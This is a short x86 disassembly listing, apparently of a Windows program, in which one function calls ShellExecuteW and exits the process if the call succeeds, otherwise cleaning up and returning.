call fcn.00401edd
mov edx, esi
mov ecx, eax
call fcn.00418337
pop ecx
pop ecx
test al, al
je 0x40b677
push edi
mov eax, 0x46079c
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401edd
push eax
push 0x46075c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40b677
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401ee2
lea ecx, [ebp - 0x60]
call fcn.00401ee2
lea ecx, [ebp - 0x78]
call fcn.00401ee2
pop edi
pop esi
mov esp, ebp
pop ebp
ret